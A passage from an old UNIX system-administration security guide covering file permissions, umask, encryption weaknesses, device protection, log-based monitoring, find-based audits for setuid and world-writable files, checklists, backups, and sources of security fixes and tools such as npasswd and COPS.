the directory in which + + it is created. + + + + If the setgid bit is set on a directory, the Berkeley + + mechanism is enabled. Otherwise, the System V mechanism is + + enabled. Normally, the Berkeley mechanism is used; this mechan- + + ism must be used if creating directories for use by more than one + + member of a group (see Section 2.1.5). + + + + To set the setgid bit on a directory, use the command + + + + + + + + + + + + 26 + + + + + + + + + + + + + + + + + + + + + + c chmod g+s directory + + + + + + + + 2.3.4 The umask Value + + + + + + + + When a file is created by a program, say a text editor or a + + compiler, it is typically created with all permissions enabled. + + Since this is rarely desirable (you don't want other users to be + + able to write your files), the umask value is used to modify the + + set of permissions a file is created with. Simply put, while the + + chmod command [Sun88a, 65-66] specifies what bits should be + + turned on, the umask value specifies what bits should be turned + + off. + + + + For example, the default umask on most systems is 022. This + + means that write permission for the group and world should be + + turned off whenever a file is created. If instead you wanted to + + turn off all group and world permission bits, such that any file + + you created would not be readable, writable, or executable by + + anyone except yourself, you would set your umask to 077. + + + + The umask value is specified in the .cshrc or .profile files + + read by the shell using the umask command [Sun88a, 108, 459]. + + The ``root'' account should have the line + + + + umask 022 + + + + in its /.cshrc file, in order to prevent the accidental creation + + of world-writable files owned by the super-user. + + + + + + 2.3.5 Encrypting Files + + + + + + + + The standard UNIX crypt command [Sun88a, 95] is not at all + + secure. Although it is reasonable to expect that crypt will keep + + the casual ``browser'' from reading a file, it will present noth- + + ing more than a minor inconvenience to a determined cracker. + + Crypt implements a one-rotor machine along the lines of the Ger- + + man Enigma (broken in World War II). The methods of attack on + + such a machine are well known, and a sufficiently large file can + + usually be decrypted in a few hours even without knowledge of + + what the file contains [Reed84]. In fact, publicly available + + packages of programs designed to ``break'' files encrypted with + + crypt have been around for several years. + + + + There are software implementations of another algorithm, the + + Data Encryption Standard (DES), available on some systems. + + + + + + + + 27 + + + + + + + + + + + + + + + + + + + + + + Although this algorithm is much more secure than crypt, it has + + never been proven that it is totally secure, and many doubts + + about its security have been raised in recent years. + + + + Perhaps the best thing to say about encrypting files on a + + computer system is this: if you think you have a file whose con- + + tents are important enough to encrypt, then that file should not + + be stored on the computer in the first place. This is especially + + true of systems with limited security, such as UNIX systems and + + personal computers. + + + + It is important to note that UNIX passwords are not + + encrypted with the crypt program. Instead, they are encrypted + + with a modified version of the DES that generates one-way encryp- + + tions (that is, the password cannot be decrypted). When you log + + in, the system does not decrypt your password. Instead, it + + encrypts your attempted password, and if this comes out to the + + same result as encrypting your real password, you are allowed to + + log in. + + + + + + 2.3.6 Devices + + + + + + + + The security of devices is an important issue in UNIX. Dev- + + ice files (usually residing in /dev) are used by various programs + + to access the data on the disk drives or in memory. If these + + device files are not properly protected, your system is wide open + + to a cracker. The entire list of devices is too long to go into + + here, since it varies widely from system to system. However, the + + following guidelines apply to all systems: + + + + 1. The files /dev/kmem, /dev/mem, and /dev/drum should + + never be readable by the world. If your system sup- + + ports the notion of the ``kmem'' group (most newer sys- + + tems do) and utilities such as ps are setgid ``kmem,'' + + then these files should be owned by user ``root'' and + + group ``kmem,'' and should be mode 640. If your system + + does not support the notion of the ``kmem'' group, and + + utilities such as ps are setuid ``root,'' then these + + files should be owned by user ``root'' and mode 600. + + + + 2. The disk devices, such as /dev/sd0a, /dev/rxy1b, etc., + + should be owned by user ``root'' and group ``opera- + + tor,'' and should be mode 640. Note that each disk has + + eight partitions and two device files for each parti- + + tion. Thus, the disk ``sd0'' would have the following + + device files associated with it in /dev: + + + + + + + + + + + + + + 28 + + + + + + + + + + + + + + + + + + + + + + sd0a sd0e rsd0a rsd0e + + sd0b sd0f rsd0b rsd0f + + sd0c sd0g rsd0c rsd0g + + sd0d sd0h rsd0d rsd0h + + + + + + 3. With very few exceptions, all other devices should be + + owned by user ``root.'' One exception is terminals, + + which are changed to be owned by the user currently + + logged in on them. When the user logs out, the owner- + + ship of the terminal is automatically changed back to + + ``root.'' + + + + + + 2.4 SECURITY IS YOUR RESPONSIBILITY + + + + + + + + This section has detailed numerous tools for improving secu- + + rity provided by the UNIX operating system. The most important + + thing to note about these tools is that although they are avail- + + able, they are typically not put to use in most installations. + + Therefore, it is incumbent on you, the system administrator, to + + take the time and make the effort to enable these tools, and thus + + to protect your system from unauthorized access. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 29 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30 + + + + + + + + + + + + + + + + + + + + + + + + SECTION 3 + + + + MONITORING SECURITY + + + + + + + + One of the most important tasks in keeping any computer sys- + + tem secure is monitoring the security of the system. This + + involves examining system log files for unauthorized accesses of + + the system, as well as monitoring the system itself for security + + holes. This section describes the procedures for doing this. An + + additional part of monitoring security involves keeping abreast + + of security problems found by others; this is described in Sec- + + tion 5. + + + + + + 3.1 ACCOUNT SECURITY + + + + + + + + Account security should be monitored periodically in order + + to check for two things: users logged in when they ``shouldn't'' + + be (e.g., late at night, when they're on vacation, etc.), and + + users executing commands they wouldn't normally be expected to + + use. The commands described in this section can be used to + + obtain this information from the system. + + + + + + 3.1.1 The lastlog File + + + + + + + + The file /usr/adm/lastlog [Sun88a, 1485] records the most + + recent login time for each user of the system. The message + + printed each time you log in, e.g., + + + + Last login: Sat Mar 10 10:50:48 from spam.itstd.sri.c + + + + uses the time stored in the lastlog file. Additionally, the last + + login time reported by the finger command uses this time. Users + + should be told to carefully examine this time whenever they log + + in, and to report unusual login times to the system administra- + + tor. This is an easy way to detect account break-ins, since each + + user should remember the last time she logged into the system. + + + + + + 3.1.2 The utmp and wtmp Files + + + + + + + + The file /etc/utmp [Sun88a, 1485] is used to record who is + + + + + + + + 31 + + + + + + + + + + + + + + + + + + + + + + currently logged into the system. This file can be displayed + + using the who command [Sun88a, 597]: + + + + % who + + hendra tty0c Mar 13 12:31 + + heidari tty14 Mar 13 13:54 + + welgem tty36 Mar 13 12:15 + + reagin ttyp0 Mar 13 08:54 (aaifs.itstd.sri.) + + ghg ttyp1 Mar 9 07:03 (hydra.riacs.edu) + + compion ttyp2 Mar 1 03:01 (ei.ecn.purdue.ed) + + + + For each user, the login name, terminal being used, login time, + + and remote host (if the user is logged in via the network) are + + displayed. + + + + The file /usr/adm/wtmp [Sun88a, 1485] records each login and + + logout time for every user. This file can also be displayed + + using the who command: + + + + % who /usr/adm/wtmp + + davy ttyp4 Jan 7 12:42 (annex01.riacs.ed) + + ttyp4 Jan 7 15:33 + + davy ttyp4 Jan 7 15:33 (annex01.riacs.ed) + + ttyp4 Jan 7 15:35 + + hyder ttyp3 Jan 8 09:07 (triceratops.itst) + + ttyp3 Jan 8 11:43 + + + + A line that contains a login name indicates the time the user + + logged in; a line with no login name indicates the time that the + + terminal was logged off. Unfortunately, the output from this + + command is rarely as simple as in the example above; if several + + users log in at once, the login and logout times are all mixed + + together and must be matched up by hand using the terminal name. + + + + The wtmp file may also be examined using the last command + + [Sun88a, 248]. This command sorts out the entries in the file, + + matching up login and logout times. With no arguments, last + + displays all information in the file. By giving the name of a + + user or terminal, the output can be restricted to the information + + about the user or terminal in question. Sample output from the + + last command is shown below. + + + + % last + + davy ttyp3 intrepid.itstd.s Tue Mar 13 10:55 - 10:56 (00:00) + + hyder ttyp3 clyde.itstd.sri. Mon Mar 12 15:31 - 15:36 (00:04) + + reboot > Mon Mar 12 15:16 + + shutdown > Mon Mar 12 15:16 + + arms ttyp3 clyde0.itstd.sri Mon Mar 12 15:08 - 15:12 (00:04) + + hyder ttyp3 spam.itstd.sri.c Sun Mar 11 21:08 - 21:13 (00:04) + + reboot > Sat Mar 10 20:05 + + davy ftp hydra.riacs.edu Sat Mar 10 13:23 - 13:30 (00:07) + + + + + + + + + + 32 + + + + + + + + + + + + + + + + + + + + + + For each login session, the user name, terminal used, remote host + + (if the user logged in via the network), login and logout times, + + and session duration are shown. Additionally, the times of all + + system shutdowns and reboots (generated by the shutdown and + + reboot commands [Sun88a, 1727, 1765]) are recorded. Unfor- + + tunately, system crashes are not recorded. In newer versions of + + the operating system, pseudo logins such as those via the ftp + + command are also recorded; an example of this is shown in the + + last line of the sample output, above. + + + + + + 3.1.3 The acct File + + + + + + + + The file /usr/adm/acct [Sun88a, 1344-1345] records each exe- + + cution of a command on the system, who executed it, when, and how + + long it took. This information is logged each time a command + + completes, but only if your kernel was compiled with the SYSACCT + + option enabled (the option is enabled in some GENERIC kernels, + + but is usually disabled by default). + + + + The acct file can be displayed using the lastcomm command + + [Sun88a, 249]. With no arguments, all the information in the + + file is displayed. However, by giving a command name, user name, + + or terminal name as an argument, the output can be restricted to + + information about the given command, user, or terminal. Sample + + output from lastcomm is shown below. + + + + % lastcomm + + sh S root __ 0.67 secs Tue Mar 13 12:45 + + atrun root __ 0.23 secs Tue Mar 13 12:45 + + lpd F root __ 1.06 secs Tue Mar 13 12:44 + + lpr S burwell tty09 1.23 secs Tue Mar 13 12:44 + + troff burwell tty09 12.83 secs Tue Mar 13 12:44 + + eqn burwell tty09 1.44 secs Tue Mar 13 12:44 + + df kindred ttyq7 0.78 secs Tue Mar 13 12:44 + + ls kindred ttyq7 0.28 secs Tue Mar 13 12:44 + + cat kindred ttyq7 0.05 secs Tue Mar 13 12:44 + + stty kindred ttyq7 0.05 secs Tue Mar 13 12:44 + + tbl burwell tty09 1.08 secs Tue Mar 13 12:44 + + rlogin S jones ttyp3 5.66 secs Tue Mar 13 12:38 + + rlogin F jones ttyp3 2.53 secs Tue Mar 13 12:41 + + stty kindred ttyq7 0.05 secs Tue Mar 13 12:44 + + + + The first column indicates the name of the command. The next + + column displays certain flags on the command: an ``F'' means the + + process spawned a child process, ``S'' means the process ran with + + the set-user-id bit set, ``D'' means the process exited with a + + core dump, and ``X'' means the process was killed abnormally. + + The remaining columns show the name of the user who ran the + + program, the terminal he ran it from (if applicable), the amount + + + + + + + + 33 + + + + + + + + + + + + + + + + + + + + + + of CPU time used by the command (in seconds), and the date and + + time the process started. + + + + + + 3.2 NETWORK SECURITY + + + + + + + + Monitoring network security is more difficult, because there + + are so many ways for a cracker to attempt to break in. However, + + there are some programs available to aid you in this task. These + + are described in this section. + + + + + + 3.2.1 The syslog Facility + + + + + + + + The syslog facility [Sun88a, 1773] is a mechanism that + + enables any command to log error messages and informational mes- + + sages to the system console, as well as to a log file. Typi- + + cally, error messages are logged in the file /usr/adm/messages + + along with the date, time, name of the program sending the mes- + + sage, and (usually) the process id of the program. A sample seg- + + ment of the messages file is shown below. + + + + Mar 12 14:53:37 sparkyfs login: ROOT LOGIN ttyp3 FROM setekfs.itstd.sr + + Mar 12 15:18:08 sparkyfs login: ROOT LOGIN ttyp3 FROM setekfs.itstd.sr + + Mar 12 16:50:25 sparkyfs login: ROOT LOGIN ttyp4 FROM pongfs.itstd.sri + + Mar 12 16:52:20 sparkyfs vmunix: sd2c: read failed, no retries + + Mar 13 06:01:18 sparkyfs vmunix: /: file system full + + Mar 13 08:02:03 sparkyfs login: ROOT LOGIN ttyp4 FROM triceratops.itst + + Mar 13 08:28:52 sparkyfs su: davy on /dev/ttyp3 + + Mar 13 08:38:03 sparkyfs login: ROOT LOGIN ttyp4 FROM triceratops.itst + + Mar 13 10:56:54 sparkyfs automount[154]: host aaifs not responding + + Mar 13 11:30:42 sparkyfs login: REPEATED LOGIN FAILURES ON ttyp3 FROM + + intrepid.itstd.s, daemon + + + + Of particular interest in this sample are the messages from the + + login and su programs. Whenever someone logs in as ``root,'' + + login logs this information. Generally, logging in as ``root'' + + directly, rather than using the su command, should be + + discouraged, as it is hard to track which person is actually + + using the account. Once this ability has been disabled, as + + described in Section 2.2.2, detecting a security violation + + becomes a simple matter of searching the messages file for lines + + of this type. + + + + Login also logs any case of someone repeatedly trying to log + + in to an account and failing. After three attempts, login will + + refuse to let the person try anymore. Searching for these + + messages in the messages file can alert you to a cracker + + + + + + + + 34 + + + + + + + + + + + + + + + + + + + + + + attempting to guess someone's password. + + + + Finally, when someone uses the su command, either to become + + ``root'' or someone else, su logs the success or failure of this + + operation. These messages can be used to check for users sharing + + their passwords, as well as for a cracker who has penetrated one + + account and is trying to penetrate others. + + + + + + 3.2.2 The showmount Command + + + + + + + + The showmount command [Sun88a, 1764] can be used on an NFS + + file server to display the names of all hosts that currently have + + something mounted from the server. With no options, the program + + simply displays a list of all the hosts. With the -a and -d + + options, the output is somewhat more useful. The first option, + + -a, causes showmount to list all the host and directory combina- + + tions. For example, + + + + bronto.itstd.sri.com:/usr/share + + bronto.itstd.sri.com:/usr/local.new + + bronto.itstd.sri.com:/usr/share/lib + + bronto.itstd.sri.com:/var/spool/mail + + cascades.itstd.sri.com:/sparky/a + + clyde.itstd.sri.com:/laser_dumps + + cm1.itstd.sri.com:/sparky/a + + coco0.itstd.sri.com:/sparky/a + + + + There will be one line of output for each directory mounted by a + + host. With the -d option, showmount displays a list of all + + directories that are presently mounted by some host. + + + + The output from showmount should be checked for two things. + + First, only machines local to your organization should appear + + there. If you have set up proper netgroups as described in Sec- + + tion 2.2.3, this should not be a problem. Second, only ``nor- + + mal'' directories should be mounted. If you find unusual direc- + + tories being mounted, you should find out who is mounting them + + and why - although it is probably innocent, it may indicate some- + + one trying to get around your security mechanisms. + + + + + + 3.3 FILE SYSTEM SECURITY + + + + + + + + Checking for security holes in the file system is another + + important part of making your system secure. Primarily, you need + + to check for files that can be modified by unauthorized users, + + files that can inadvertently grant users too many permissions, + + + + + + + + 35 + + + + + + + + + + + + + + + + + + + + + + and files that can inadvertently grant access to crackers. It is + + also important to be able to detect unauthorized modifications to + + the file system, and to recover from these modifications when + + they are made. + + + + + + 3.3.1 The find Command + + + + + + + + The find command [Sun88a, 183-185] is a general-purpose com- + + mand for searching the file system. Using various arguments, + + complex matching patterns based on a file's name, type, mode, + + owner, modification time, and other characteristics, can be con- + + structed. The names of files that are found using these patterns + + can then be printed out, or given as arguments to other UNIX com- + + mands. The general format of a find command is + + + + % find directories options + + + + where directories is a list of directory names to search (e.g., + + /usr), and options contains the options to control what is being + + searched for. In general, for the examples in this section, you + + will always want to search from the root of the file system (/), + + in order to find all files matching the patterns presented. + + + + This section describes how to use find to search for four + + possible security problems that were described in Section 2. + + + + + + 3.3.1.1 Finding Setuid and Setgid Files + + + + + + + + It is important to check the system often for unauthorized + + setuid and setgid programs. Because these programs grant special + + privileges to the user who is executing them, it is necessary to + + ensure that insecure programs are not installed. Setuid ``root'' + + programs should be closely guarded - a favorite trick of many + + crackers is to break into ``root'' once, and leave a setuid pro- + + gram hidden somewhere that will enable them to regain super-user + + powers even if the original hole is plugged. + + + + The command to search for setuid and setgid files is + + + + c find / -type f -a \( -perm -4000 -o -perm -2000 \) -print + + + + The options to this command have the following meanings: + + + + / The name of the directory to be searched. In this + + case, we want to search the entire file system, so we + + specify /. You might instead restrict the search to + + + + + + + + 36 + + + + + + + + + + + + + + + + + + + + + + /usr or /home. + + + + -type f + + Only examine files whose type is ``f,'' regular file. + + Other options include ``d'' for directory, ``l'' for + + symbolic link, ``c'' for character-special devices, and + + ``b'' for block-special devices. + + + + -a This specifies ``and.'' Thus, we want to know about + + files whose type is ``regular file,'' and whose permis- + + sions bits match the other part of this expression. + + + + \( -perm -4000 -o -perm -2000 \) + + The parentheses in this part of the command are used + + for grouping. Thus, everything in this part of the + + command matches a single pattern, and is treated as the + + other half of the ``and'' clause described above. + + + + -perm -4000 + + This specifies a match if the ``4000'' bit (speci- + + fied as an octal number) is set in the file's per- + + mission modes. This is the set-user-id bit. + + + + -o This specifies ``or.'' Thus, we want to match if + + the file has the set-user-id bit or the set- + + group-id bit set. + + + + -perm -2000 + + This specifies a match if the ``2000'' bit (speci- + + fied as an octal number) is set in the file's per- + + mission modes. This is the set-group-id bit. + + + + -printThis indicates that for any file that matches the + + specified expression (is a regular file and has the + + setuid or setgid bits set in its permissions), print + + its name on the screen. + + + + After executing this command (depending on how much disk + + space you have, it can take anywhere from 15 minutes to a couple + + of hours to complete), you will have a list of files that have + + setuid or setgid bits set on them. You should then examine each + + of these programs, and determine whether they should actually + + have these permissions. You should be especially suspicious of + + programs that are not in one of the directories (or a subdirec- + + tory) shown below. + + + + /bin + + /etc + + /usr/bin + + /usr/ucb + + /usr/etc + + + + + + + + + + 37 + + + + + + + + + + + + + + + + + + + + + + One file distributed with SunOS, /usr/etc/restore, is dis- + + tributed with the setuid bit set on it, and should not be, + + because of a security hole. You should be sure to remove the + + setuid bit from this program by executing the command + + + + c chmod u-s /usr/etc/restore + + + + + + + + 3.3.1.2 Finding World-Writable Files + + + + + + + + World-writable files, particularly system files, can be a + + security hole if a cracker gains access to your system and modi- + + fies them. Additionally, world-writable directories are + + dangerous, since they allow a cracker to add or delete files as + + he wishes. The find command to find all world-writable files is + + + + c find / -perm -2 -print + + + + In this case, we do not use the -type option to restrict the + + search, since we are interested in directories and devices as + + well as files. The -2 specifies the world write bit (in octal). + + + + This list of files will be fairly long, and will include + + some files that should be world writable. You should not be con- + + cerned if terminal devices in /dev are world writable. You + + should also not be concerned about line printer error log files + + being world writable. Finally, symbolic links may be world writ- + + able - the permissions on a symbolic link, although they exist, + + have no meaning. + + + + + + 3.3.1.3 Finding Unowned Files + + + + + + + + Finding files that are owned by nonexistent users can often + + be a clue that a cracker has gained access to your system. Even + + if this is not the case, searching for these files gives you an + + opportunity to clean up files that should have been deleted at + + the same time the user herself was deleted. The command to find + + unowned files is + + + + c find / -nouser -print + + + + The -nouser option matches files that are owned by a user id not + + contained in the /etc/passwd database. A similar option, + + -nogroup, matches files owned by nonexistent groups. To find all + + files owned by nonexistent users or groups, you would use the -o + + option as follows: + + + + + + + + 38 + + + + + + + + + + + + + + + + + + + + + + + + c find / -nouser -o -nogroup -print + + + + + + + + 3.3.1.4 Finding .rhosts Files + + + + + + + + As mentioned in Section 2.2.1.2, users should be prohibited + + from having .rhosts files in their accounts. To search for this, + + it is only necessary to search the parts of the file system that + + contain home directories (i.e., you can skip / and /usr): + + + + c find /home -name .rhosts -print + + + + The -name option indicates that the complete name of any file + + whose name matches .rhosts should be printed on the screen. + + + + + + 3.3.2 Checklists + + + + + + + + Checklists can be a useful tool for discovering unauthorized + + changes made to system directories. They aren't practical on + + file systems that contain users' home directories since these + + change all the time. A checklist is a listing of all the files + + contained in a group of directories: their sizes, owners, modif- + + ication dates, and so on. Periodically, this information is col- + + lected and compared with the information in the master checklist. + + Files that do not match in all attributes can be suspected of + + having been changed. + + + + There are several utilities that implement checklists avail- + + able from public software sites (see Section 4). However, a sim- + + ple utility can be constructed using only the standard UNIX ls + + and diff commands. + + + + First, use the ls command [Sun88a, 285] to generate a master + + list. This is best done immediately after installing the operat- + + ing system, but can be done at any time provided you're confident + + about the correctness of the files on the disk. A sample command + + is shown below. + + + + c ls -aslgR /bin /etc /usr > MasterChecklist + + + + The file MasterChecklist now contains a complete list of all the + + files in these directories. You will probably want to edit it + + and delete the lines for files you know will be changing often + + (e.g., /etc/utmp, /usr/adm/acct). The MasterChecklist file + + should be stored somewhere safe where a cracker is unlikely to + + + + + + + + 39 + + + + + + + + + + + + + + + + + + + + + + find it (since he could otherwise just change the data in it): + + either on a different computer system, or on magnetic tape. + + + + To search for changes in the file system, run the above ls + + command again, saving the output in some other file, say + + CurrentList. Now use the diff command [Sun88a, 150] to compare + + the two files: + + + + c diff MasterChecklist CurrentList + + + + Lines that are only in the master checklist will be printed pre- + + ceded by a ``<,'' and lines that are only in the current list + + will be preceded by a ``>.'' If there is one line for a file, + + preceded by a ``<,'' this means that the file has been deleted + + since the master checklist was created. If there is one line for + + a file, preceded by a ``>,'' this means that the file has been + + created since the master checklist was created. If there are two + + lines for a single file, one preceded by ``<'' and the other by + + ``>,'' this indicates that some attribute of the file has changed + + since the master checklist was created. + + + + By carefully constructing the master checklist, and by + + remembering to update it periodically (you can replace it with a + + copy of CurrentList, once you're sure the differences between the + + lists are harmless), you can easily monitor your system for unau- + + thorized changes. The software packages available from the pub- + + lic software distribution sites implement basically the same + + scheme as the one here, but offer many more options for control- + + ling what is examined and reported. + + + + + + 3.3.3 Backups + + + + + + + + It is impossible to overemphasize the need for a good backup + + strategy. File system backups not only protect you in the even + + of hardware failure or accidental deletions, but they also pro- + + tect you against unauthorized file system changes made by a + + cracker. + + + + A good backup strategy will dump the entire system at level + + zero (a ``full'' dump) at least once a month. Partial (or + + ``incremental'') dumps should be done at least twice a week, and + + ideally they should be done daily. The dump command [Sun88a, + + 1612-1614] is recommended over other programs such as tar and + + cpio. This is because only dump is capable of creating a backup + + that can be used to restore a disk to the exact state it was in + + when it was dumped. The other programs do not take into account + + files deleted or renamed between dumps, and do not handle some + + specialized database files properly. + + + + + + + + + + 40 + + + + + + + + + + + + + + + + + + + + + + 3.4 KNOW YOUR SYSTEM + + + + + + + + Aside from running large monitoring programs such as those + + described in the previous sections, simple everyday UNIX commands + + can also be useful for spotting security violations. By running + + these commands often, whenever you have a free minute (for exam- + + ple, while waiting for someone to answer the phone), you will + + become used to seeing a specific pattern of output. By being + + familiar with the processes normally running on your system, the + + times different users typically log in, and so on, you can easily + + detect when something is out of the ordinary. + + + + + + 3.4.1 The ps Command + + + + + + + + The ps command [Sun88a, 399-402] displays a list of the + + processes running on your system. Ps has numerous options, too + + many to list here. Generally, however, for the purpose of moni- + + toring, the option string -alxww is the most useful.* On a Sun + + system running SunOS 4.0, you should expect to see at least the + + following: + + + + swapper, pagedaemon + + System programs that help the virtual memory system. + + + + /sbin/init + + The init process, which is responsible for numerous + + tasks, including bringing up login processes on termi- + + nals. + + + + portmap, ypbind, ypserv + + Parts of the Yellow Pages system. + + + + biod, nfsd, rpc.mountd, rpc.quotad, rpc.lockd + + Parts of the Network File System (NFS). If the system + + you are looking at is not a file server, the nfsd + + processes probably won't exist. + + + + rarpd, rpc.bootparamd + + Part of the system that allows diskless clients to + + boot. + + + + Other commands you should expect to see are update (file + + system updater); getty (one per terminal and one for the + + _________________________ + + * This is true for Berkeley-based systems. On System V + + systems, the option string -elf should be used instead. + + + + + + + + + + 41 + + + + + + + + + + + + + + + + + + + + + + console); lpd (line printer daemon); inetd (Internet daemon, for + + starting other network servers); sh and csh (the Bourne shell and + + C shell, one or more per logged in user). In addition, if there + + are users logged in, you'll probably see invocations of various + + compilers, text editors, and word processing programs. + + + + + + 3.4.2 The who and w Commands + + + + + + + + The who command, as mentioned previously, displays the list + + of users currently logged in on the system. By running this + + periodically, you can learn at what times during the day various + + users log in. Then, when you see someone logged in at a dif- + + ferent time, you can investigate and make sure that it's legiti- + + mate. + + + + The w command [Sun88a, 588] is somewhat of a cross between + + who and ps. Not only does it show a list of who is presently + + logged in, but it also displays how long they have been idle + + (gone without typing anything), and what command they are + + currently running. + + + + + + 3.4.3 The ls Command + + + + + + + + Simple as its function is, ls is actually very useful for + + detecting file system problems. Periodically, you should use ls + + on the various system directories, checking for files that + + shouldn't be there. Most of the time, these files will have just + + ``landed'' somewhere by accident. However, by keeping a close + + watch on things, you will be able to detect a cracker long before + + you might have otherwise. + + + + When using ls to check for oddities, be sure to use the -a + + option, which lists files whose names begin with a period (.). + + Be particularly alert for files or directories named ``...'', or + + ``..(space)'', which many crackers like to use. (Of course, + + remember that ``.'' and ``..'' are supposed to be there.) + + + + + + 3.5 KEEP YOUR EYES OPEN + + + + + + + + Monitoring for security breaches is every bit as important + + as preventing them in the first place. Because it's virtually + + impossible to make a system totally secure, there is always the + + chance, no matter how small, that a cracker will be able to gain + + + + + + + + 42 + + + + + + + + + + + + + + + + + + + + + + access. Only by monitoring can this be detected and remedied. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 43 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 44 + + + + + + + + + + + + + + + + + + + + + + + + SECTION 4 + + + + SOFTWARE FOR IMPROVING SECURITY + + + + + + + + Because security is of great concern to many sites, a wealth + + of software has been developed for improving the security of UNIX + + systems. Much of this software has been developed at universi- + + ties and other public institutions, and is available free for the + + asking. This section describes how this software can be + + obtained, and mentions some of the more important programs avail- + + able. + + + + + + 4.1 OBTAINING FIXES AND NEW VERSIONS + + + + + + + + Several sites on the Internet maintain large repositories of + + public-domain and freely distributable software, and make this + + material available for anonymous FTP. This section describes + + some of the larger repositories. + + + + + + 4.1.1 Sun Fixes on UUNET + + + + + + + + Sun Microsystems has contracted with UUNET Communications + + Services, Inc. to make fixes for bugs in Sun software available + + via anonymous FTP. You can access these fixes by using the ftp + + command [Sun88a, 195-201] to connect to the host ftp.uu.net. + + Then change into the directory sun-fixes, and obtain a directory + + listing, as shown in the example on the following page. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 45 + + + + + + + + + + + + + + + + + + + + + + % ftp ftp.uu.net + + Connected to uunet.UU.NET. + + 220 uunet FTP server (Version 5.93 Mar 20 11:01:52 EST 1990) ready + + Name (ftp.uu.net:davy): anonymous + + 331 Guest login ok, send ident as password. + + Password: enter your mail address yourname@yourhost here + + 230 Guest login ok, access restrictions apply. + + ftp> cd sun-fixes + + 250 CWD command successful. + + ftp> dir + + 200 PORT command successful. + + 150 Opening ASCII mode data connection for /bin/ls. + + total 2258 + + -rw-r--r-- 1 38 22 4558 Aug 31 1989 README + + -rw-r--r-- 1 38 22 484687 Dec 14 1988 ddn.tar.Z + + -rw-r--r-- 1 38 22 140124 Jan 13 1989 gated.sun3.Z + + -rwxr-xr-x 1 38 22 22646 Dec 14 1988 in.ftpd.sun3.Z + + ..... + + ..... + + -rw-r--r-- 1 38 22 72119 Aug 31 1989 sendmail.sun3.Z + + -rwxr-xr-x 1 38 22 99147 Aug 31 1989 sendmail.sun4.Z + + -rw-r--r-- 1 38 22 3673 Jul 11 1989 wall.sun3.Z + + -rw-r--r-- 1 38 22 4099 Jul 11 1989 wall.sun4.Z + + -rwxr-xr-x 1 38 22 7955 Jan 18 1989 ypbind.sun3.Z + + -rwxr-xr-x 1 38 22 9237 Jan 18 1989 ypbind.sun4.Z + + 226 Transfer complete. + + 1694 bytes received in 0.39 seconds (4.2 Kbytes/s) + + ftp> quit + + 221 Goodbye. + + % + + + + The file README contains a brief description of what each file in + + this directory contains, and what is required to install the fix. + + + + + + 4.1.2 Berkeley Fixes + + + + + + + + The University of California at Berkeley also makes fixes + + available via anonymous FTP; these fixes pertain primarily to the + + current release of BSD UNIX (currently release 4.3). However, + + even if you are not running their software, these fixes are still + + important, since many vendors (Sun, DEC, Sequent , etc.) base + + their software on the Berkeley releases. + + + + The Berkeley fixes are available for anonymous FTP from the + + host ucbarpa.berkeley.edu in the directory 4.3/ucb-fixes. The + + file INDEX in this directory describes what each file contains. + + + + Berkeley also distributes new versions of sendmail and named + + [Sun88a, 1758-1760, 1691-1692] from this machine. New versions + + + + + + + + 46 + + + + + + + + + + + + + + + + + + + + + + of these commands are stored in the 4.3 directory, usually in the + + files sendmail.tar.Z and bind.tar.Z, respectively. + + + + + + 4.1.3 Simtel-20 and UUNET + + + + + + + + The two largest general-purpose software repositories on the + + Internet are the hosts wsmr-simtel20.army.mil and ftp.uu.net. + + + + wsmr-simtel20.army.mil is a TOPS-20 machine operated by the + + U. S. Army at White Sands Missile Range, New Mexico. The direc- + + tory pd2: contains a large amount of UNIX software, pri- + + marily taken from the comp.sources newsgroups. The file 000- + + master-index.txt contains a master list and description of each + + piece of software available in the repository. The file 000- + + intro-unix-sw.txt contains information on the mailing list used + + to announce new software, and describes the procedures used for + + transferring files from the archive with FTP. + + + + ftp.uu.net is operated by UUNET Communications Services, + + Inc. in Falls Church, Virginia. This company sells Internet and + + USENET access to sites all over the country (and internation- + + ally). The software posted to the following USENET source news- + + groups is stored here, in directories of the same name: + + + + comp.sources.games + + comp.sources.misc + + comp.sources.sun + + comp.sources.unix + + comp.sources.x + + + + Numerous other distributions, such as all the freely distribut- + + able Berkeley UNIX source code, Internet Request for Comments + + (RFCs), and so on are also stored on this machine. + + + + + + 4.1.4 Vendors + + + + + + + + Many vendors make fixes for bugs in their software available + + electronically, either via mailing lists or via anonymous FTP. + + You should contact your vendor to find out if they offer this + + service, and if so, how to access it. Some vendors that offer + + these services include Sun Microsystems (see above), Digital + + Equipment Corp., the University of California at Berkeley (see + + above), and Apple Computer. + + + + + + + + + + + + + + 47 + + + + + + + + + + + + + + + + + + + + + + 4.2 THE NPASSWD COMMAND + + + + + + + + The npasswd command, developed by Clyde Hoover at the + + University of Texas at Austin, is intended to be a replacement + + for the standard UNIX passwd command [Sun88a, 379], as well as + + the Sun yppasswd command [Sun88a, 611]. npasswd makes passwords + + more secure by refusing to allow users to select insecure pass- + + words. The following capabilities are provided by npasswd: + + + + o Configurable minimum password length + + + + o Configurable to force users to use mixed case or digits + + and punctuation + + + + o Checking for ``simple'' passwords such as a repeated + + letter + + + + o Checking against the host name and other host-specific + + information + + + + o Checking against the login name, first and last names, + + and so on + + + + o Checking for words in various dictionaries, including + + the system dictionary. + + + + The npasswd distribution is available for anonymous FTP from + + emx.utexas.edu in the directory pub/npasswd. + + + + + + 4.3 THE COPS PACKAGE + + + + + + + + + + COPS is a security tool for system administrators that + + checks for numerous common security problems on UNIX systems, + + including many of the things described in this document. COPS is + + a collection of shell scripts and C programs that can easily be + + run on almost any UNIX variant. Among other things, it checks + + the following items and sends the results to the system adminis- + + trator: + + + + o Checks /dev/kmem and other devices for world + + read/writability. 